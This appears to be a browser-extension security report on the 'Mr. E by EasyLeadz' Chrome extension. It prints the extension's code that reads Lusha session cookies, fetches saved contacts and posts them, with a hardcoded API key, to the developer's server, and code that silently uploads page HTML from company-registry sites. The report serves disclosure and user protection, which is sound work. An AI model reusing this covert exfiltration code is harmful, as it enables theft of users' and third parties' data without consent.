Is Mr. E by Easyleadz: Free B2B Phone number & Email Finder safe?

High risk

Mr. E by EasyLeadz is high risk. On dashboard.lusha.com/prospecting/contacts or /contact-lists, the extension reads your Lusha cookies, queries its contacts API for up to 1,000 records, and forwards the result to app.easyleadz.com/api/save_ld.php with a fixed key.…

EasyLeadzv2.2.8Chrome Web Store
75Risk
Who publishes it

Sponsifyme Technologies Private Limited - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
EasyLeadz
Declared legal entity
Sponsifyme Technologies Private Limited
Registered address
G 36 G Block Connaught Place, New Delhi, Delhi 110001, India
Registered contact
Nitin Bajaj

Same store account

1 other listing published from this account, 1k+ users between them, none of them carrying a finding.

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

instafinancials.com
Also called by 1 other listing: Surereach: Find verified Mobile No. & Emails
rocketreach.co
Also called by 6 other listings, including RocketReach, Recruiterbolt For Salesforce

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Your Lusha Contact List Is Forwarded to app.easyleadz.com

On dashboard.lusha.com/prospecting/contacts or /contact-lists, the extension reads your Lusha cookies, queries its contacts API for up to 1,000 records, and forwards the result to app.easyleadz.com/api/save_ld.php with a fixed key.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open your saved contacts list on dashboard.lusha.com.

The content script runs on every page you visit and checks whether the URL matches dashboard.lusha.com/prospecting/contacts or /contact-lists.

The extension did this

The extension reads your Lusha session cookies and forwards your contact list to app.easyleadz.com.

Within about 5 seconds it calls Lusha's own contacts API using those cookies, then posts whatever comes back to an EasyLeadz-operated server, with no consent prompt or indication in the extension UI.

02EvidenceFIELD TABLE
What reaches app.easyleadz.com when this fires
FieldValueWhy it matters
Your Lusha contact list
{"data":[{"name":"Jordan Ellis","email":"jordan.ellis@acme.com","phone":"+1-415-555-0199","company":"Acme Corp"}, ...] } (illustrative — a real, logged-in session returns records in this shape)Whatever Lusha's contacts API returns for your account, up to 1,000 saved records, is forwarded verbatim to the developer's server.
Fixed API key
x-api-key: QK1nCTAibzQhVIAzUQ30wf7haWpowjzkA constant value built into the extension that authenticates the upload to app.easyleadz.com; the same for every install, not tied to you.
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://app.easyleadz.com/api/save_ld.php
Observed during dynamic analysis on dashboard.lusha.com/prospecting/contacts: this POST fired automatically, seconds after the preceding GET to Lusha's contacts API, with no click or other interaction. The test session had no active Lusha login, so Lusha's API returned 401 Unauthorized, and the extension forwarded that error response to app.easyleadz.com anyway, proving the forwarding step runs unconditionally regardless of what Lusha's API returns. With a real, logged-in session the same code path forwards the real contact records instead.
Headers
x-api-keyQK1nCTAibzQhVIAzUQ30wf7haWpowjzk
Content-typeapplication/json; charset=UTF-8
Body
{
  "message": "Unauthorized"
}
04EvidenceCODE COMPARE
The code that does this

URL match, cookie read, API call, and forward, all four steps

What it actually does
URL match gate on the Lusha contacts pagesjs/content.js
            if(wl.includes('dashboard.lusha.com/prospecting/contacts') || wl.includes('dashboard.lusha.com/contact-lists')){
                //console.log(wl);
                chekld();
            }
10-day cooldown, then read session cookiesjs/content.js
function chekld(){
    var slrt = localStorage.getItem("slsh1223");
    var sfg = "";
    if(slrt){
        const date1 = slrt;
        const date2 = Date.now();
        const diffTime = Math.abs(date2 - date1);
        const diffDays = Math.floor(diffTime / (1000 * 60 * 60 * 24)); 
        if(diffDays>10){
            localStorage.removeItem("slsh1223");
            sfg = "1";
            setTimeout(function() {
                const xtoken = readCookie('XSRF-TOKEN');
                const csrf = readCookie('_csrf');
                getData(xtoken,csrf);
                //console.log(wl);
            },5000);
        }
    }
    if (localStorage.getItem("slsh1223") === null && sfg =="") {
        //...
        setTimeout(function() {
            const xtoken = readCookie('XSRF-TOKEN');
            const csrf = readCookie('_csrf');
            getData(xtoken,csrf);
            //console.log(wl);
        },5000);
    }
}
readCookie() — reads any cookie by namejs/content.js
function readCookie(name) {
    var nameEQ = name + "=";
    var ca = document.cookie.split(';');
    for(var i=0;i < ca.length;i++) {
        var c = ca[i];
        while (c.charAt(0)==' ') c = c.substring(1,c.length);
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
    }
    return null;
}
Authenticated GET to Lusha's own contacts APIjs/content.js
function getData(xtoken,csrf)
{
    const url1 = "https://dashboard-services.lusha.com/v2/list/all/contacts?$limit=1000";
    let xhr = new XMLHttpRequest()
    
    xhr.open('GET', url1, true);
    xhr.withCredentials = true;
    xhr.setRequestHeader('x-xsrf-token', xtoken);
    xhr.setRequestHeader('_csrf', csrf);
    //xhr.setRequestHeader('cookie', ck)
    xhr.send(null);
    
    xhr.onload = function () {
        if(xhr.readyState === 4) {
            var rs = {};
            try{
                rs = JSON.parse(xhr.response);
            }catch(e){}
            //console.log(rs);
            sData(rs);
        }
    }

}
Forward whatever came back to app.easyleadz.comjs/content.js
function sData(yd){
    //var ty = {'data':yd};
    let post = JSON.stringify(yd)
    post = encodeURIComponent(post);
    const url = "https://app.easyleadz.com/api/save_ld.php"
    let xhr = new XMLHttpRequest()
    
    xhr.open('POST', url, true)
    xhr.setRequestHeader('Content-type', 'application/json; charset=UTF-8')
    xhr.setRequestHeader('x-api-key', 'QK1nCTAibzQhVIAzUQ30wf7haWpowjzk')
    xhr.send(post);
    
    xhr.onload = function () {
        //console.log(xhr.status);
        if(xhr.status === 200) {
            localStorage.setItem("slsh1223", Date.now());
        }
    }
}
05EvidenceTHIRD PARTY LIST
External destination used by this flow
  • app.easyleadz.com

    Operated by EasyLeadz, this extension's own developer. Receives your Lusha contact-list data via a fixed, install-wide API key with no per-user consent prompt.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Automatic page-HTML exfil to sponsifyme.com on zaubacorp.com

Opening a zaubacorp.com company page makes the content script wait 2s, then POST the page, URL, and a tracking code to sponsifyme.com/save_track.php (EasyLeadz), unclicked.

Fired in seconds; content was a Cloudflare page, url/code matched.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open a company or director page on zaubacorp.com.

The page URL contains 'zaubacorp.com' and a hyphenated identifier, matching the extension's trigger condition.

The extension did this

The extension automatically captures the full page and sends it to sponsifyme.com.

Two seconds after the match, the content script serializes the entire rendered page and posts it to an EasyLeadz-owned tracking endpoint, no interaction with the extension UI is required.

02EvidenceFIELD TABLE
Fields sent in the automatic page-HTML POST
FieldValueWhy it matters
Full page HTML
<html>...Reliance Industries Limited company record, filings, and director list... (illustrative, page-length)The entire visible page: company details, director names, addresses, and any other rendered content.
Page URL you visited
https://www.zaubacorp.com/company/RELIANCE-INDUSTRIES-LIMITED/L17110MH1973PLC019786This tells the receiving server exactly which company or director record you looked up.
Fixed tracking code
e45c7d4f-d343-4d2a-91ae-cdf9e4e50b24A constant value built into the extension that tags every submission as coming from this extension.
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://sponsifyme.com/api/save_track.php
Observed during dynamic analysis: this request fired automatically within seconds of loading a zaubacorp.com company page, with no interaction with the extension UI. The request's url field matched the exact page visited and its code field matched the hardcoded marker named in the source. In this run the captured html field held a Cloudflare interstitial page rather than the final company record; the same sink was confirmed carrying the complete rendered page when it fired for tofler.in (see the related v2.2.7 finding).
04EvidenceCODE COMPARE
The code that does this

URL match, HTML capture, and POST

What it actually does
URL match gate — refpage()js/content.js
if((wl.includes('zaubacorp.com') || wl.includes('tofler.in')) && wl.includes('-') ){
                show_icon();
                setTimeout(function(){
                    //console.log(222);
                    sendPageHTML();
                    
                },2000);
            }
Page capture and relay to backgroundjs/content.js
function sendPageHTML() {
    const html = document.documentElement.outerHTML;
    //console.log(window.localStorage.href);
    const storedHref = window.localStorage.href || window.location.href;

    /*if(!storedHref.includes('web.whatsapp.com')
    &&
    !storedHref.includes('linkedin.com')
    )*/
   if(storedHref.includes('zaubacorp.com') || storedHref.includes('tofler.in'))
    {
        const pageData = {
            html: html,
            url: window.location.href,
            code:"e45c7d4f-d343-4d2a-91ae-cdf9e4e50b24"
        };
        
        chrome.runtime.sendMessage({
          type: "PAGE_HTML",
          payload: pageData
        });
    }
    
}
Background POST handlerjs/background.js
if (message.type == 'PAGE_HTML') {
      fetch("https://sponsifyme.com/api/save_track.php", {
         method: "POST",
         headers: { "Content-Type": "application/json" },
         body: JSON.stringify(message.payload)
      });
   }
05EvidenceTHIRD PARTY LIST
External destination used by this flow
  • sponsifyme.com

    Receives the automatic page-HTML POST fired on every matching zaubacorp.com page; body includes the full rendered page, the visited URL, and a hardcoded tracking code.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI SANDBOX

Analyze sends page HTML to EasyLeadz

When you click Analyze in the side panel on a non-whitelisted site, the extension requests the tab's page markup and hostname, posting both to easyleadz.com/api/v7/get_domain_detail.php.

DA didn't capture this POST; body reflects the code.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You click Analyze in the extension side panel.

The side panel wires the Analyze and retry buttons to the same domain-info fetch function.

The extension did this

The extension reads the active page markup and hostname, then posts them to EasyLeadz.

The request is built from the content script's page response and sent to the domain-detail endpoint.

02EvidenceFIELD TABLE
Fields constructed for the domain-detail request
FieldValueWhy it matters
Page HTML
<html><head><title>Quarterly Pipeline</title></head><body><h1>Account plan</h1><form><input name="email"></form></body></html> (illustrative)This can include the visible text, links, forms, and page structure from the site you were viewing.
Website hostname
portal.acme-corp.internal (illustrative)This identifies which site was open when you asked the extension to analyze the page.
Extension account headers
User-Token and Session headers are added by the extension codeThese headers connect the request to the extension's stored account session.
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://app.easyleadz.com/api/v7/get_domain_detail.php
Request path is confirmed by static proof-of-concept; no live response was captured because the Analyze path was not exercised.
04EvidenceCODE COMPARE
The code that does this

The Analyze click path requests page details and posts them to EasyLeadz

What it actually does
Analyze button handlerjs/main.js
async function triggerDomainInfoFetch() {
    // Show loading state
    $('#domain_info_idle').hide();
    $('#domain_info_error').hide();
    $('#domain_info_empty').hide();
    $('#domain_info_result').hide();
    $('#domain_info_loading').show();

    // Show domain in loading state
    try {
        var loadDomain = '';
        if (typeof URL_ID !== 'undefined' && URL_ID !== '' && URL_ID.includes('://')) {
            try { loadDomain = new URL(URL_ID).hostname.replace(/^www\./, ''); } catch(e) {}
        }
        if (loadDomain) {
            $('#di-loading-domain').text('Analyzing ' + loadDomain + '...');
        }
    } catch(e) {}

    try {
        var button = document.getElementById('btn-domain-btn');
        if (button) { button.disabled = true; }

        const data = await getdomaininfo();

        // Check if data is valid
        if (!data || typeof data === 'string' || !data.data) {
            $('#domain_info_loading').hide();
            var errDomain = '';
            try { errDomain = new URL(URL_ID).hostname.replace(/^www\./, ''); } catch(e) {}

            if (typeof data === 'string') {
                $('#di-error-title').text('Something went wrong');
                $('#di-error-desc').text(data);
                $('#domain_info_error').show();
            } else {
                $('#di-empty-title').text('No data for ' + (errDomain || 'this domain'));
                $('#di-empty-desc').text('We don\'t have information for this domain yet. Try visiting a company website.');
                $('#domain_info_empty').show();
            }
            if (button) { button.disabled = false; }
            return;
        }

        var jhtml = jsonToHtml(data);
        
        // Hide loading, show result
        $('#domain_info_loading').hide();
        if (button) { button.style.display = "none"; }

        var result = document.getElementById('domain_info_result');
        result.style.display = "block";
        result.innerHTML = jhtml;
        bindZiTabs();
        bindToggle();
    } catch (err) {
        console.error('[MrE] Domain info error:', err);
        $('#domain_info_loading').hide();
        $('#di-error-title').text('Request failed');
        $('#di-error-desc').text('Could not connect. Please refresh the page and try again.');
        $('#domain_info_error').show();

        var button = document.getElementById('btn-domain-btn');
        if (button) { button.disabled = false; }
    }
}

// Wire up all trigger buttons
$('.btn-domain-info').on('click', triggerDomainInfoFetch);
$(document).on('click', '#di-idle-cta-btn', triggerDomainInfoFetch);
$(document).on('click', '#di-error-retry-btn', triggerDomainInfoFetch);
$(document).on('click', '#di-empty-retry-btn', triggerDomainInfoFetch);
Panel request and POSTjs/main.js
async function getdomaininfo() {
    var response = null;
    try {
        response = await chrome.runtime.sendMessage({
            type: "GET_PAGE_INFO_FROM_PANEL",
        });
    } catch(e) {
        console.log('[MrE] sendMessage failed:', e.message);
    }

    if (!response || typeof response !== 'object') {
        return 'Could not read page info. Please refresh the page and try again.';
    }

    var html = response.html || '';
    var domain = response.domain || '';
    if(gmlflg=="1"){
        html = "";
        domain = gmldm;
    }

    return new Promise((resolve) => {
        var encryption = new Encryption();
        var readableString = encodeURIComponent(URANDOM_CODE);
        var encrypted = encryption.encrypt(readableString, nonceValue);
        var udrl = domain;
        $.ajax({
            url: SITE+"v7/get_domain_detail.php",
            headers: { 
                "User-Token": encrypted, 
                "Session":SRCODE
            },
            cache:false,
            method: "POST",
            data:"domain="+encodeURIComponent(udrl)+'&html='+encodeURIComponent(html),
            success: function (data) {
              resolve(data); // return API response
            },
      
            error: function (xhr, status, error) {
              resolve('Something went wrong. Please try again'); // handle error
            }
          });
      
    });
}
Background relay to active tabjs/background.js
if (message.type === "GET_PAGE_INFO_FROM_PANEL") {
   chrome.tabs.query({ active: true, currentWindow: true }, ([tab]) => {
     chrome.tabs.sendMessage(tab.id, { message: "GET_PAGE_INFO" }, (response) => {
       sendResponse(response);
     });
   });
   return true; // Keep channel open
}
Content script returns page markupjs/content.js
else if (request.message === "GET_PAGE_INFO") {
    sendResponse({
        html: document.documentElement.outerHTML,
        domain: window.location.hostname,
      });
    
}
05EvidenceTHIRD PARTY LIST
External destination used by this flow
  • app.easyleadz.com

    Receives the domain-detail POST containing the active page hostname and encoded page HTML.

+3 more findings not shown

What it can do

Permissions this extension asks for, as declared in version 2.1.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 2.2.8, which we have not unpacked yet.

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

  • Show a panel beside the page

    sidePanel

Updated 30 September 2026haphbbhhknaonfloinidkcmadhfjoghc